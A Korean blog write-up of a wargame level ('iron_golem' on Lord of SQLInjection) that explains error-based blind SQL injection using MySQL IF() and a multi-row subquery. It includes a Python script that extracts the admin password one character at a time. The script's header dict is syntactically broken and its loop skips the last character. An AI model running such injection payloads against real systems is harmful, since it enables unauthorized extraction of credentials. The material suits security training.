본문으로 바로가기

[LOS]21번 iron_golem

category Wargame/LOS(eagle-jump) 2017. 8. 14. 00:07


아이언 고램!


키가 나보다 커보인다;;




이것저것 넣어보니 그동안에 했던 방법으로는 참거짓을 분별할 수 없음을 알았다


어쩌지 어쩌지 고민하던중 잘못된 문법을 넣으면 에러를 확인할 수 있음을 알게되었다.



....



하지만 난생처음보는 환경에 당황한 G0pher...


Error based SQL injection이 떠올라


공부해봤지만 에러를 통해 원하는 데이터를 출력하려 하니 언더바(_)와 점(.)이 필터되어버려서


다른 방법을 생각해야했다




이름하여 Error Based Blind SQL Injection!!!

(사실 내가 지었다)





뭔가 있을것 같아 검색해보니 진짜 있었다




아무튼 IF문을 통해 참과 거짓을 에러로 구분할 수 있도록 하는 방법이다.


그전에 알아둬야할 기본적인 지식은 IF문이다.



Mysql에서 IF문은 3가지 인자를 받는다.


IF(조건, 참일 때, 거짓일 때)


이를 이용해서 참이거나 거짓일 때 에러를 출력하는 구문을 만드는 것이다.


에러를 만들어내는 방법은 '서브쿼리'를 이용하면 된다.


서브쿼리란?


쉽게말해 쿼리 안에 쿼리가 들어가있는 구조이다.



위와같은 에러를 띄울 수 있다.


 (select 1 union select 2)


이러한 서브쿼리가 들어갔을 때의 결과이다.


왜일까?


저 구문에서는 1과 2를 합쳐 결과가 2개가 나오는 문법상으로는 오류가 없는 쿼리지만


이것이 where문 안으로 들어가면서 해당되는 결과가 문법상으로 부적합하게 된 것이다.


이를 이용해서 admin의 pw 길이를 알아보았다.



16! 16일때 에러가 뜨지 않았기 때문에 비밀번호의 길이는 16임을 알 수 있다.


이를 이용해서 비밀번호를 알아내는 코드를 짜보자



1
2
3
4
5
6
7
8
9
10
11
12
import requests
 
head='cookie' : 'PHPSESSID=g28gq; __cfduid=d4374' }
 
for j in range(1,16):
    for i in range(32,127):
        URL = "http://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php"
        params = {'pw':"' or id='admin' and if(ord(substr(pw,"+str(j)+",1))>"+str(i)+",(select 1 union select 2),1)#"}
        res = requests.get(url=URL, params=params, headers=head)
        if "Subquery" not in res.text:
            print(chr(i))
            break
cs


실행결과는 아래와 같다.




뒷부분은 NULL이기때문에 비밀번호는 !!!!가 된다.







'Wargame > LOS(eagle-jump)' 카테고리의 다른 글

[LOS]20번 dragon  (0) 2017.08.09
[LOS]19번 xavis  (0) 2017.08.07
[LOS]18번 nightmare  (0) 2017.08.04
[LOS]17번 succubus  (0) 2017.08.04
[LOS]16번 zombie_assassin  (0) 2017.08.03